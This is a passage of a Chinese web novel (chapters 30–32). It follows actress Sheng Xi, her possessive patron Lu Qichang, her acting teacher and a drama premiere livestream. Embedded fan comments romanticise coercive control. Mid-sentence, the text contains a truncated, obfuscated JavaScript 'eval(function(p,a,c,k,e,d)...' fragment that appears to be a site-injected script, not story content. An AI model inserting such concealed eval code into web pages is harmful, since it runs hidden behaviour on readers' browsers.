这其实是一句不太有礼貌含义的话，因为如果真的觉得挺好的，就不会说“没什么不好”的，但是陆总好像很满意。何修看后视镜。 他轻轻地摸她的头发，柔声：“我不会说什么早这样就好了。我只会说，盛蹊，我会保护你。”他叹。 从今以后，不管有谁说你什么不好，我敢确信，不是因为你人微言轻，没有什么背景，也没有反抗的力气，我可以保证，在我的庇护下，批评你的声音，至少是比以前公正得多的。 他又摸她的侧颈：“在组里的时候，想想我吧。” “想想我是怎么为你披荆开路，宋寅的戏掉了就掉了。”提到宋寅，他的声音很轻柔：“你会比他更成功的。” 何修心想，人家青梅竹马，要你挑拨什么更成功不成功。但他看盛蹊，她已经不会反驳他的话了。 像在这个圈子里很多年一样。 顺从于像是砒霜的蜜糖，比屈服于打压你贬低你的砒霜好。从人性上讲，盛蹊的选择挺正常的。 但是从马甲和本体的关系上来讲，相信马甲本来就是正常的。 系统还说：【马甲和本体的纠葛确实会诞生更多的可信度。】 因为他们本就是混沌同生的，刻意回避都遮挡不住，何况是现在被很多人都知道的，陆其昌着了魔一样，非要捧在圈子里这么多年都不红的盛蹊。 她还没有和他签合同，演上一部戏，他已经快把圈子里这些平台和人都得罪完了，偏偏他们还不敢说话。 她真的没有感到安心过吗？ “为什么你总是要抛掉宋寅？”这还是盛蹊不理解自己的一部分。她以为，宋寅的存在会让她更坚信，她的演技没有出问题。 有些话本体不能说，陆其昌可以表现得非常直接，他勾起嘴角，眼神冰冷而高傲地说：“他所获得的一切，为什么不能给你。” 盛蹊呼吸一窒。 她以前从来没发现自己对于宋寅是嫉妒的，包括她不肯切换回本体，什么事都没做也要留在宋寅的躯体里不回去。 对，她是嫉妒的。陆其昌当然厌恶。 他对宋寅的厌恶、轻慢，有理有据，他甚至可以再次居高临下，理所当然地站在他面前，然后告诉他，他被自己厌恶，是因为他只在乎盛蹊。 宋寅是盛蹊的累赘。 在其他人视角里，宋寅是陆其昌掌控欲发作，必须让盛蹊抛弃掉的曾经的朋友，在盛蹊自己视角里，她越寄托于宋寅的成功，就越不可能相信，自己会是成功的。 陆其昌把她这份微妙的嫉妒心理外化了，即使所有人都以为他是出于对盛蹊关心宋寅不满而产生的嫉妒。 陆其昌知道可信度倾向里有一项正在变得显化：嫉妒心重，睚眦必报。 但他依然道：“宋寅是谁，他取得了什么成功……”他嗤笑一声。“我根本不在乎。”作为手握大权的副总，他有资格说这个话。 虽然宋寅的爆火已经足够其他影视公司赚得盆满钵满了，但是他缺钱吗？ 他缺的是在任何地方都能顺心如意的权力。现在他顺心如意了。 陆其昌满意道：“不会有任何人来打扰你。” 何修和盛蹊都听出这话里的潜台词。包括宋寅。 “我会来看你的，”在他这样威胁下，盛蹊依然保持镇定，她反握住他的手，这是一种安抚的动作，何修这样想是因为他看过驯兽师这样安抚吃完，疲倦满足地打哈欠的雄狮。 然后她轻声：“我出组的时候，可以让他去演戏。” 她嫉妒，但她不会让宋寅的路白走的。从各种意义上来说，他的路都比自己的好走多了。何修也明白其中的逻辑，她在组里，陆总是不知道她和谁在一起的，但是如果她出组了，还和陆总待在一起，那陆总就可以高抬贵手让宋寅去演戏。 很公平的交换。 何修看着道路，总感觉自己其实离背陆总的锅进去不远了。他们真的不觉得这样限制人身自由，而且这样直白地限制，是不对的吗？ 陆其昌叹息：“别把我想得那么坏。”他说：“当然可以。”他厌恶他的，她想照顾宋寅再去照顾就是。 “别让我发现你有什么事没告诉我。”下车的时候，陆其昌温柔地说了这句话，他只是借此给何修打个补丁，剧组还有其他人也听到了。 盛蹊不是会告状的个性，那他逼她把所有的事都告诉他就是了。 事实上业内现在还在怀疑盛蹊真的一直都没想过屈服于陆其昌吗，那为什么她要被宁戏开除的事这么快就被陆其昌知道了。 现在他们知道了。不是盛蹊事无巨细地说，是这个疯子，从来就不能忍受任何东西，尤其是有关盛蹊的，脱离掌控而已。 何修：“……” 唉，陆总，正常谈个恋爱会让你死吗，真的是。但是他又能理解这段关系里一小部分。 盛蹊是绝对不可能爱上一个掌控欲这么强的人的。她最相信的，最倚仗的只有她自己，所以陆总也可以说是永远得不到她真心的顺从，也是他一直执着于此，执着于让盛蹊表现顺从的原因。 ……听起来陆总居然才像是没有大获全胜的那一个呢。 陆其昌闭上眼：“回去吧。” 就这？跑这么远就为了送她一程？何修都怀疑他们陆总脑子坏了或是真的成了个恋爱脑了。 陆其昌闭着眼睛嗤一声。何修忽然又懂了——王卓给他道歉说不该插手宁戏运营的时候，用的借口是不知道，不知道盛蹊是陆总的人，不知道动了盛蹊会让他这么生气。 但现在他亲自送了。他倒要看看。 谁还敢装聋作哑，把他的话糊弄过去。 祝游：【今天陆总没上班，盛老师就进组了，啊啊啊啊啊！】 【何助还开车了，一般有重要角色他才会负责接待的，更真更好嗑了】 【陆盛真的有一种不该出现在现实，应该出现在爆火剧的男二女二身上的美感（问就是强制/爱主角剧没法播）】 【有人懂吗，体型差也好涩】 【我受不了了，谁说盛老师可以安抚躁狂期的神经病的，好贴切哈哈哈哈哈哈！既骂了老板又成全了我们嗑的CP（狗头）】 【陆总真的好像有那个躁狂症，神奇的是盛老师一妥协他立马就好了，谁懂我这些天循环播放那天那句怒吼的救赎感，陆总，你也没说你这么好哄啊！】 【现实里我跑得远远的，现实……哦，这也是现实里啊，现实里有对你这样不计代价给资源，也不要求你干别的啥的还是考虑一下吧，一般我们都把这个称作是贵人啊！】 【拒绝陆总形象正面化，虽然有人说陆总打压宋寅挺冷漠挺残酷的，但就是这样资本家的真心才好嗑，你以为我是善人大发善心做慈善吗？不，只是为了你才戴上这个面具而已】 【真烂人真心了，这么烂的一个娱乐公司老总，居然真的会在这个行业里等一个怎么也不肯屈服的人等五年，而且这五年他都没有涉足娱乐圈，就，你们知道吗？好玄幻】 【陆盛的故事线都有点宿命感的意思了，宋寅刚好要打动盛老师的时候，陆总回来了，嘿嘿嘿嘿】 【什么叫做横刀夺爱，强行插足，这就叫横刀夺爱，强行插足，这才是我想看的啊（震声）】 【1.尊重xp自由2.陆盛真的是仙品不接受反驳】 【没人知道，陆总的路途娱乐来自于盛老师刚出道那年发的一条博：路途遥远，未来可期。】 【什么，我还以为来源于盛老师名字蹊“小路”的意思，和自己姓的谐音（震惊）】 【什么姓名play啊啊啊啊啊】 祝游：【kswlkswl呜呜呜呜呜】 路途遥远，未来可期，不如你始终在我路途的方向里。 31. 第 31 章 其他人都太相信他们耳中听闻的那个陆其昌的本性了，以至于他们都不敢相信，那么傲慢、不可一世的陆其昌真的会为了一个拒绝他五年的人做到这种地步。 这些天因为可信度的暴增，关于路途娱乐、天光和陆其昌的消息又传得到处都是，闹得满城风雨。 有些人说之前就在国内见过他，有些人说他本来就不是华人，回国是回来玩票来的，还有人说他母亲其实是欧洲的贵族，但是这条很快被辟谣，因为陆其昌的狠辣个性一看就是白手起家。 他和很多依靠着父母荫庇顺风顺水的创二代不同，他的路子真的是自己风里来雨里去闯出来的，所以有传闻说，即使是在他集团总部在的欧洲大本营，他也不和那些白人富翁，或是华人资本家打交道。 论无礼和冷酷，他确实是独一份的特立独行。可偏偏他的地位和实力又摆在那里，导致很多人都奈何不了他。 但是奈何不了，不代表不恨他，嫉妒他。 所以何修再次来报告房子的事的时候，说：“好像有人在议论您和盛蹊小姐的事。”他抬头看一眼陆其昌的表情，见他没有暴怒，暗忖陆总这几个月的心情是真的好，他被各方人士打听，都快要想起来在欧洲的时候，陆总有多么恐怖了。 但是陆其昌没有发火，不代表何修会掉以轻心，所以何修还是垂着眸用尽量平缓的语气说：“说您什么时候，也会低三下四地求一个人回头了。” 其实真正的话比这还要难听一些，但是作为高秘，如何委婉又不失尖锐地把话里的意思传达到位，是一门必修课，何修认为自己说得很清楚：他们就是在嘲讽，陆总看起来多么高傲，其实也是一个不得不低头的可怜虫而已。 但凡是自傲或是自尊心有点过分突出的人，听到这话都会火冒三丈，陆总看起来确实是这两种人中的一类：傲慢又自大，必然与狂妄的自尊心联系在一起，说这话的人其实是想把嘲讽戳进陆总心坎里。 没想到陆总冷笑一声，他本来在看财经杂志的，冷笑完直接就把杂志放一边了。 没什么意思，陆其昌从来不看这玩意儿，他看是因为，受他影响，前段时间有个娱乐公司的老总把股份切割出去了，还做了份采访，陆其昌酷爱落井下石，所以听何修推荐找来看了—— 看来陆总不仅是一个喜欢看同行笑话的人，也绝对不会让同行的笑话戏谑落在自己身上。他正慢条斯理，冷嘲热讽地端起茶说：“他们觉得自尊心那么容易受挫，一辈子不要去考验自己可怜脆弱的心灵就是了，还有空管我的事？” 何修也顺着陆总的话想了想这些天盛小姐那边传回来的消息，确实没什么人在盛小姐都被说了，“有什么事情一定要告诉我，好吗”之后，还不长眼地去打扰她的。 他们也只敢背地里这么说说了，而且陆其昌喝着咖啡，眯起眼说：“他们没找我，我倒是没有借口，让他们把公司也并购进路途娱乐里了。” 并购这两个字，他说得轻描淡写，何修心里却悚然一惊，再次把公司成立这件事的重要程度往上提了几分，然后询问：“业内那边要不要警告一下？” 这已经是他第二次提关于陆总和盛蹊流言的事了，当然不是他记性不好，或乐于助人——一切行动都是他在心中根据陆总行动来的，陆总行动上把盛蹊看得重要，他当然也要把盛蹊看得重要些。 而且陆总嘴上说得好听，他这么不计前嫌并非是因为盛蹊特别，而是他和那群自尊心脆弱的巨婴不一样，有基本行为能力，但何修还是觉得，以陆总睚眦必报和无比记仇的性格，他对盛蹊的特殊，还是有几分因人而异在的。 其他人连续几年拒绝他好几次，再见面的时候还能得到陆总的垂青吗？未必，一切都是因为她是盛蹊而已，再说了，盛蹊的脸和演技，在何修看来在娱乐圈并非具有不可替代性。 她的珍贵只能对在乎她的人说，而其他人，想必会和不在乎一家娱乐公司死活的陆总一样，你做得再好，和我什么关系。 这么想着，虽然陆总依然是说不用，他还是在陆总这收了个尾的，尤其是盛蹊房子这件事，他要提醒道：“产权已经转回到盛老师名下了，但是因为有多次转让记录，所以可能会有点买卖和法律风险。” 这是针对盛蹊想要出卖房产的情况。 但是陆其昌知道，“不会的。”他端着青瓷的茶杯，看起来奢华高贵的人，其实对茶具和茶都没有那么高的要求，只是身份使然，所有人都会下意识献上最好的罢了。但即使他喝着最普通的茶，那种闲适和坦然的姿态，也足以让所有人觉得，他所用的一切价值千金。 这就是他和盛蹊的截然不同之处。 陆其昌轻描淡写，语气里似乎还带点嘲讽，但何修早就说过了，唯独对盛老师的语气，陆总总是刻薄却又怜爱的——好像看到一只迷途的小猫，明明她一直不肯听话，一直犯蠢，但是，只要她肯走到他身边，他还是会夸她说，真乖—— “已经卖错过一次了，她怎么还会犯这样的错误？”这句话尾音里带了一点点叹，好像就真的只是感叹她怎么那么蠢，会差点卖给仇人似的。 但何修电光火石之间想起一件很重要的事：陆总连盛蹊的房子卖给了谁都知道，真的不可以在那个时候抢下房子的产权然后让盛老师安心吗？ 何修看他一眼。 陆总知道。因为房子在他手里，是全然不会有落到周宇手里那种让盛蹊濒临崩溃的风险的，而且盛蹊面对他时也会更加安心，更有底气。 可是——陆其昌要的又不是盛蹊有底气。他要是拿到了房子能得到的也只有盛蹊服软，或者干脆不要房子了的两输结局，就算他大发慈悲把房产给她了，盛蹊也不会因为区区一个房子妥协的。 他要她为之妥协的，只能是扳倒周宇，这样非他不可，她却又无论如何不能偿还的大事。 何修有些感慨，果然，可以说陆总也是一个很出色的猎人啊。等了这么多年徐徐盘算，终于等到这么一个隐晦又完全是满盘胜算的局面，他可以看着，甚至推动那个房子落到周宇手里。 然后等盛蹊不得已必须让周宇把房子吐出来后，再以一个救世主的身份出现——连何修都看得出来，盛蹊对陆总的态度软化多了。 一个五年都不肯退步的人，见到他肯定不会是他们之前在车上那样，他随意地把玩着她背包上的宁戏周边挂件，她直接低声说，“你喜欢就拿去好了”。 对自己盛蹊却每回都要说谢谢。 她是一个边界感那么强的人，即使是看到陆总她也会顿上一顿，但她从来没对对她有着那么多关注和“恩情”的陆总说一句谢谢。 因为她心里已经选择了别的感谢方式吧。 简直就是连情绪和一个称呼都要完全剥夺的资本家啊，上次陆总去接盛蹊时，何修就亲眼看到，他把她的手机拿过来，把没有称呼的号码编辑成了陆其昌。 何修怀疑世界上只有她一个人这样喊他了。 陆其昌说：“好好演戏，不用着急。” 他们都知道这句话的潜台词，五年都等了，他不差这么几天时间。 陆老师的剧组很忙，是高效率运转起来的那种忙，《春江花月夜》拍摄的时候还有调度调度不过来，整个剧组等他们重新布置场地或者等演员过来的情况，但是《冬雨》这部剧的剧组运转方式非常成熟。 每个人有着自己的岗位，工作得非常高效，盛蹊进去的第一周感觉就像是进入一个庞大的机器系统里，当一颗小的螺丝钉，有时候，她会克制不住想演戏的欲望，每当这个时候，她就把听到的台词给抛出去，去做别的事。 但是剧组运行高效也注定盛蹊也没有多少忙可以帮，所以她只能站在老师的助理身边，和她一起看着老师演戏。 陆蕙兰的演技真的不错，她是以一个观众甚至从业人员的视角公正评价的，但是她也不得不说，以她的阅历要赶上陆老师恐怕还需要几十年。 上戏剧学院的时候另一个老师曾经说过现在偶像剧，尤其是大爆的那种流行的氧气型演法，其实就和早些年流行的氧气型美女一样，是形容演法比较轻薄、清爽，没有痕迹，呼吸自然。 但是比氧气型更高级的就是像陆蕙兰这样，她饰演的是一个高中女老师，带着几十年前那个时代的烙印，毫无演戏痕迹，自然得像是生活中她就是当老师的而且当过很多年一样。那是一种无论谁都会评价为最高等级的生活型演技的演法。 盛蹊很想学，但是她知道她还不够格。陆老师演完戏回来了，盛蹊帮她把马扎拖到遮阳棚那里，然后给老师端水过来。 陆蕙兰看看盛蹊，这些天在剧组里干的都是一些打杂的活儿，她也不着急，她也不必问她这些天有没有听她的不着急演戏，上学的时候她就知道盛蹊是里面最听话的，尤其是关于演戏的，训练课业，一点不容马虎。 所以她要问的反而是另外一件事。她和助理关系也不错，抬起下巴示意助理坐下，然后说：“听说你和天光娱乐的副总之间有点事。” 助理有点不敢听，去看盛蹊的表情。她是陆蕙兰朋友的女儿，平时只管陆蕙兰的事，以她在这个圈子里的单薄经历，当然会想到这个圈子里的让人也经常会想到的见怪不怪的事。 不过和她想象的清高老师兴师问罪堕落的学生戏码不同，陆蕙兰是教演戏的，她对情绪的传递把握得很好，盛蹊也是学演戏的，她很清楚老师只是普通问问罢了。 但是她还没有想好怎么回答。 虽然事情原本就是这样：“没有什么特别的关系，只是他想帮我。” 陆蕙兰抬头看她，陆蕙兰和助理都坐着，只有她站着，这样仰视，能让陆蕙兰更好看到她的表情，她只问了她两句话： “他会让你继续演戏吗？” “你想演什么类型的角色，他都会让你演吗？” 盛蹊的回答也很直白，毫不犹豫：“他阻止不了我演戏，我演不演戏，演什么样的戏，都是我自己的事，只有我自己能决定。” 她看着老师，虽然老师没说，但她还是开口：“老师，我会一直演下去。”对现在的盛蹊来说一辈子可能还很长，但演戏是她很小就确认自己想做的事。 陆蕙兰没什么问题了，继续喝水：“既然什么都让你决定就让他把流言按下去点。虽然你所饰演的角色大部分和演员本人都不相关关，但是有些导演在选角的时候也会考虑绯闻对剧的影响程度。” 盛蹊愣了一下，可她不是退圈了吗？ “老师，你的意思是说……” 陆蕙兰拿着茶杯看了盛蹊一眼，这一眼她发现她的学生确实已经不再年轻了，这里的年轻不是指容貌鲜妍，而是这些年的碰壁和头破血流终于还是让她身上那种天真淡了一点，让她丧失了一点理想主义者的愚蠢，却也获得了一个演员的幸福。 演员课上最后一堂课她的学生和她说，她还有什么想和她说的吗，对她们这些初出茅庐的新人演员来说，她这样的前辈的一句鼓励是很重要的，但她还是摇头。不是因为她不屑于此，是因为她很清楚她即将要说的不是一句鼓励。 她想说的是，演员不是幸福里开出来的花。任何文艺作品，它们可以催生于强烈的幸福，但更多自然诞生于真实的痛苦。 她们很多人很美丽，很健康，但是真正的好演员，是要经历世间各种的打磨的，她们或许能成为很多人眼中国民级的一级演员，同行中羡慕的对象，但绝对不能很轻易地成为，一个很好的演员。 现在她用这二十几天从她的学生这里得到了回答。其实这十年她每一刻都想问的，可惜看盛蹊时刻在娱乐圈的名利里浮沉，她实在不确定给学生这样一条路是帮了她还是害了她。 现在她确认了。 你想大红大紫吗？或许。你想成为一个好演员吗？她可以从盛蹊眼睛里看到，那是她毕生所求。 或许她眼睛里还看不到，成为一个好演员和被大家熟知的演员有什么区别，但是和陆其昌那样手眼通天的人有了联系之后，她还是愿意跑到自己剧组里给她打杂，观摩她演戏。 看到情绪密度高的戏，忍不住跟着背台词但是会悄悄咽下去。这些陆蕙兰都看得到。 她唯一有些遗憾的是：现在或许对她来说还是有些太晚了。十年磨一剑，可是人生有多少个十年呢？ “老师，您是说喜儿这个角色年龄太小了不适合我吗？没关系的，我可以节食，也可以把头发剪短。”盛蹊抬起头，陆蕙兰才发现她不小心把她的心声说出来了。 然而她的学生并没有被她的那句无意识喃喃给打败。她心里并不觉得晚，只要是拿给她的角色，由她来饰演创造诠释的角色，她发自内心地都不觉得晚。 “我一定会演好喜儿的。”盛蹊对她鞠躬。在进组《冬雨》之前她完全没想到她会拿到这个角色，而且是这个组里灵魂一样的角色，她看喜儿的演员演戏时，一直感到羡慕，不甘，感到自己的心也跟着喜儿的灵魂在澎湃。 但现在，她可以饰演喜儿了，哪怕只有一个镜头。盛蹊紧紧握着剧本。 陆蕙兰看她情绪波动太大了，提醒她：“你现在合同在宁戏，我已经和林院长说好了，还有，到时候你在剧里的标注会是特邀出演。” 既没有破坏她暂时退圈的承诺，也算是给了盛蹊发挥的余地，让她在这部剧里短暂地释放开——这个角色同样是没有试镜没有邀约其他演员的角色，从看到这个角色起，陆蕙兰就知道该由她来演。 看着盛蹊眼中的神采，陆蕙兰嘴角微扬，但是语气里还是带着提醒：“不要让我失望。” 盛蹊只能点头，她已经说不出任何话来了，陆蕙兰结束今天的拍摄要离开的时候，披着外套上房车，回头看到盛蹊还在原地朝她鞠躬。 陆蕙兰罕见地怔了一下，房车关门助理问她怎么不说话了的时候，她说：“我在想。有时候我是不是也把她逼得紧了一点。” 她又摇摇头。 助理也是跟了她很多年的，闻言道：“话也不能这样说呀，您每部戏都给她介绍角色，她自己不去演，您是打了电话才知道她试镜都没去试，那哪知道她是怎么想的，而且现在也不晚吧。”助理想了想，她觉得《冬夜》配置挺好的，除开喜儿第二个演员的镜头比较少外，资源不比最近的爆剧《绣年》来得差。 但陆蕙兰只是闭上眼睛不说话。她不去试镜这件事，她也觉得奇怪，盛蹊对于角色是有点挑，但是她给的角色，她不会那么看不上眼的，可是打电话去了盛蹊那，也是她经纪人接的，她才知道盛蹊还有别的很多戏可以选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆其昌不确定陆老师要找自己说什么，但是因为本体对陆老师的尊敬，和陆老师给她喜儿这个角色之前和她进行过关于陆其昌的谈话，所以陆其昌对这场见面还是非常重视的。 他非常沉浸于此，完全没有注意到，以陆其昌的傲慢程度，爱屋及乌到这种程度，也会让人觉得他是不是真的被盛蹊下蛊了。 而且那天陆蕙兰到了之后，他还起身迎接。虽然对于陆其昌来说，他完全可以解释为，是对长辈的尊敬。虽然他傲慢，记仇，目中无人，但他其实也是一位你不冒犯我，我也可以彬彬有礼的绅士。 虽然这些套话，在那些知道陆其昌反应的人眼中，根本就没人相信就是了。 陆蕙兰对陆其昌如此郑重好像也感到非常稀奇，她看了陆其昌几眼，没发现学生其实现在异常的安静是在想陆老师会不会看出来她其实是在用拙劣的演技扮演另一个人而已。 但是陆蕙兰非常坦率，开门见山：“我没有让我的学生受到贵公司影响的打算。” 她说完，奇异地发现陆其昌的动作顿了一下，还抬头，好像听过她说这些话一样。陆蕙兰眼神微闪。 非常愉快且话少地用完一餐，陆蕙兰找到盛蹊，非常直白：“你和宋寅的事他是不是知道一些？” “？” 陆蕙兰看她这个沉迷演戏的学生几眼，神色复杂些：“没事。”然后她转头找到圈内的朋友拜托她照顾一下宋寅，得知宋寅前一个月就进组封闭培训了，而且听说，其实没有角色，是“预”培训而已。 陆蕙兰：“……” 她放下电话捏了捏眉心。助理再次问她表情为什么这么不好，陆蕙兰总不能说，她为了盛蹊的事先找了宋寅，然后现在发现她找的第二个人已经知道了她和宋寅单独说话的事，所以怀疑，陆其昌一直在盯着宋寅了。 虽然她知道年轻人的关系总是刺激而复杂一点，但是这种错综复杂的关系是不是太刺激了。 无话可说，她只能对朋友说：“麻烦帮我看着宋寅那一些。” 喜儿虽然要杀青了，但是情绪是跟着整部剧走的，她是不会让其他的事打扰盛蹊的沉浸的。 盛蹊自己也是这么想的……然而李珂那天找到每天准时早上培训，晚上回来，一句话不说的宋寅，开口事依然是着急地说的那句：“宋哥……有人拍到，盛老师和我们公司的陆总一起吃饭了。” 她越说，声音越小，不仅是因为她发现这件事已经挂在了热搜上，不是单单有了舆情风险这么简单，还是因为她发现在宋寅的脸上，她看到一种早知如此的沉默苍白。 他停顿很久，然后开口问，声音是很轻的：“有人说什么吗？” 李珂还想说什么，梁叙已经赶过来了——这简直不可思议，热搜出现才一个小时，他居然就到了，说明他早就知道。 梁叙语气平稳：“全压下来了，有人和陆总作对，没事儿，公司会解决的。”李珂想问你说的公司是不是指陆总，但是忍住了，她其实担心的是盛蹊那边，要是真的有人在热搜上看到了，会不会传一些不好的话。 还有，盛老师现在被越来越多人关注，以后想复出怎么办。那些遗毒粉丝肯定会继续骂她的。 但是宋寅说：“是陆其昌让你来的吗？” 梁叙讶异地看他一眼，他是他见过了除了盛蹊以外第二个敢直呼其名的人，但是没关系，他已经知道了，陆其昌不好惹，盛蹊、宋寅这些人他最好也别惹。之前差点害了盛蹊，他没被开除只是边缘化他都谢天谢地了。 梁叙老老实实说：“陆总本来以为能完全压下去的，我怕出问题，才不放心过来看一眼。”果然下飞机就看到热搜死灰复燃。 但是陆总手腕强大，他刚刚再看一眼，整个热搜的榜单都换了。 他猜测某博有人要遭殃了，不是危言耸听，是他前段时间才听说某博的总裁也想投资路途娱乐，还约了陆总吃饭，结果被下属送了这么一份大礼。 他都不敢想现在天光娱乐内陆总是不是还在脸色阴沉地大发雷霆。毕竟这件事好像是盛蹊的老师让他做的，陆总都那么配合地去见了盛蹊的老师，总不至于把这件事敷衍做了…… 总之想得很多。但他看到宋寅还是说：“你这段时间先别露面了。” 李珂有些着急，被宋寅拦住。 宋寅轻轻弯唇，好像没被这消息打扰，可是眼里没有李珂之前熟悉的那种温润轻盈的光，他不是真的高兴，在笑，他只是表示礼貌地弯唇而已。 可是他依然柔和地说：“我想请她来看《若星辰》的主创直播，可以么？” 李珂张张嘴。 梁叙迅速盘算，传这个话回去不挨骂的可能性多少，几乎是零，他立刻反问：“为什么？” 宋寅垂眸想，以前有人和她说，用和其他人有关的绯闻，遮盖她本身的存在，是一种傲慢，所以她才拼命切断他和她的关系。可是现在才发现。 原来他们什么关系也不必有。 她只和老师说了这一句，老师这么说，还是相信了。 该相信的人自然会相信，不相信的人，相信她和马甲纠缠不清，也比相信她和周宇纠缠不清得好。 他声音更轻：“我想让她看见。” 就只是让她自己，也好好地看一看她自己而已。 32. 第 32 章 但宋寅说的真的就只是观看《若星辰》主创的直播。那天说完之后，也不知道李珂脑补了什么，直播要开始那几天，她一直在跑上跑下，忽然开始监督起他的饮食和锻炼。 不许他熬夜断药沉浸进其他的戏里找感觉就算了，有一次看到他把饭放回冰箱里了，居然拦着他，认真地说：“盛老师都要来看你了，你怎么能不表现得有精神点呢？你不想让盛老师觉得你的病已经好了吗？” 宋寅怔了一下，然后李珂才像意识到自己反应过激了一下尴尬地清了清嗓子道：“我的意思是说……哥，你该做做形象管理了，你太瘦了。” 她的眼睛往宋寅腰上瞄。 其实宋寅不瘦，他也没想让自己这么瘦。 但大概大众对抑郁症和遭逢巨变的人的人生变故，就是势必和暴瘦、忧郁联系在一起，所以在宋寅建立起来一个“瘦，但会根据角色控制自己体形”的形象之前，可信度倾向已经不受控地滑向“一看就在生病”了。 而且有宋寅之前几次在片场晕倒的传言加持，其实送宋寅自己都常常感到力不从心，扶着墙站在落地窗前时，总会想起陆其昌和本体的事。 这种可以脱离自己的完全原生环境代入到另一个人人生的体验，其实是很难得的训练机会。所以宋寅几乎没有浪费。 除了要给陆其昌马甲挪出使用时间来的“宋寅吃完抗抑郁药后需要睡觉”的时间外，他几乎都维持着这个形象，他也明白李珂在想什么。可他有时还是会为她们如此笃定他们之间的关系感到些微的惊奇。 有一次他问她：“为什么你就觉得她一定会来呢？”李珂在帮忙收拾剧宣直播需要的行李，闻言回头，宋寅眼神里没有什么情绪，好像只是寻常地问这么一句。 也好像是，他一直觉得他们这样的关系是正常的。 但是李珂有点伤心，她甚至不敢这么回答：你邀请她，她怎么会不来呢？但她还是顾忌着他的病含糊答道：“星辰宣传的排面这么大，盛老师不会不想来的吧。” 宋寅笑了笑。 《若星辰》的宣传动静确实大。 《绣年》这部剧本来出品方没想拿到这么高的赞誉，这部剧的制作平台江河确实是一直做精品剧的，但是一直做的是年代和古装戏，主旋律正剧是第一次尝试，还是叙述的年代很陈旧的主流剧。 他们一开始觉得能打破主流剧讲道理生硬的刻板印象就算小有收获了，谁能想到程兰的镜头出圈，直接带动这部剧几个年龄圈层的破圈。 虽然这是因为互联网时代发达，年轻人口口相传，硬是把给中老年人定向观看的下班热播档，播成了年轻人全网在追的下饭剧，但出品方还是不得不感谢杨树挑人的眼光，和宋寅对一个小角色都如此用心的演技。 没错，程兰是个小角色，可他太出彩了，他让人印象深刻，让人记住他的言不由衷。 初登场时那个眼睛倔强亮亮的小少年，傲气地看了眼破烂的戏园子，最后还是在这里成了角儿的花旦，到最后裹着破袄死在大雪纷飞的夜里嘴角含笑的可怜人。 你很难说他的命运和其他人具有相似性。可是你就是觉得他是一个和所有影视剧的假人都不像的活生生的人，一个没有被吃人的时代吃掉，但是抛掉了肉、体，也因此无法获得精神上的超脱的活人。 他是腐朽时代的牺牲品。可他牺牲得太轰轰烈烈了。 著名影评人梁莹说：“如果说红娘带领的娘子军的兴起是新时代旭日东升的象征，那程兰，我也姑且可以把他看成是那个沉腐篇章里最后的绝唱。” 在他之后的国人全都爬起来了，站起来了，他们不愿意咬碎了牙，跪破了膝盖也要匍匐在侵略者的面前感谢他们吸食自己的骨血，可在他之前的愚昧麻木彷徨的国人，就算是没有骨气，没有知觉地躺下去了，跪倒之前还要像程兰一样猛地站起来，怒唱一声： “近看前——” 程兰这样已经屈服的腐朽的灵魂最后的反抗，是对侵略者误以为他们可以打断他们脊骨的嘲笑，也是对那个时代辛酸、悲苦、无望的尖锐哭诉，是怒号，是讽刺，唯独不是求饶。 一个唱戏唱得自己好像高人一等的可笑的戏子，他可能有任何不良的品性，但确实不可能跪在侵略者面前说，没错，我们唱的就是你们的东洋戏啊。 所以他要哭告，他要高唱，他要他们求饶，要他们在大火里哀嚎扭曲地说，求你了，别唱了。 没有勇气对抗压迫的愚昧之人，沉浸在自己的幻梦里是他们唯一反抗的方式。 《绣年》开始最后全平台宣传的时候有个平台的出品人找到他感慨，问他怎么做到把程兰的精神特质抓得这么准的，程兰整部戏的戏份加起来不到两个小时，他来来回回看了三遍，不得不承认越看越牛。 “太精准了，这个人物太精准了，就好像……”他想了想，看他：“就好像这部戏就是程兰自己的自传一样。” 如果杨树来回答他，他会告诉他因为宋寅就是把程兰当成他人生里唯一的主角来演的，他在这部戏里没有任何的配角心态，他的眼里只看得到程兰的经历，程兰的诉求，程兰的疯魔。他把整个片场当成程兰的片场。所以他的癫狂他的隐忍完全不跟着主角的剧情来了。 他的剧情片段是破碎的，可是宋寅的表演是完整的。而且跟组的时候宋寅除了自己的一点戏其他时间都待在剧组里学他的京剧，没有全天的戏份，他却是全天跑下来的，虽然宋寅那个时候还没有现在这个身价，也没有接到手软的片约，但这份心，很难得了。 所以，《若星辰》压根都不用天光娱乐或其他的平台额外注资，宋寅这个新生代戏骨的名头就足够给他吸引足量的关注了。 虽然年轻人一般会认为主流剧和古偶是有壁的，可是他们也不能否认就是有那么一帮粉丝他们是不会在乎这些壁不壁的，而且他们最喜欢爱屋及乌。 所以《若星辰》主创直播预热第三天也是开播前一天，预约人数达到一百三十万，没加水份，货真价实的一个个预约的观看直播量，平台看到都乐得合不拢嘴了。 宋寅才和李珂说：“她会在这里面的。” 李珂还不死心，或者她打定了主意觉得说，是宋老师对自己太不自信了，盛老师一定会来的，但可信度能影响的只是她马甲在其他人眼中的形象，还不足以影响盛蹊本人的行动。 所以李珂在现场看来看去的时候，盛蹊还是戴了个鸭舌帽坐在后面，并没有露面。她不想吸引走《若星辰》开播的话题度，也不想她是作为一个观众来看《若星辰》最开头几集播得如何的，反而被镜头拍得不能做一个观众。 不过祝游还是跟来了。她自己都觉得很吃惊，坐在盛蹊身边时还紧紧握着拳没有缓过来，不断和自己说，我真出到公差追星了，我真磕到正主的CP了，啊啊啊啊！ 不过她看到台上的宋寅，还是平复好了情绪，然后心想，对啊她不是来围观陆总和盛老师的绝美拉扯的，而刚好是因为，她是那天陆总和何秘出办公室后，看到的第一个和盛老师关系还好的女性员工。 所以被派来照顾盛老师起居，作为盛老师的助手来看着她和宋寅相处的。 这不就是那什么高干文或者强制文里面监视女主然后打报告的路人角色吗！这也太适合她这个CP粉了。 祝游默默地想，想归想，主创直播，其实也可以说是开播发布会的活动开始后，她还是小声询问旁边的人，要喝水吗？ 盛蹊摇了摇头，她来的路上一直很安静，祝游能发现她一直在睡觉，好像很累一样，但是情绪是轻松的，祝游忽然又有点不是滋味了。 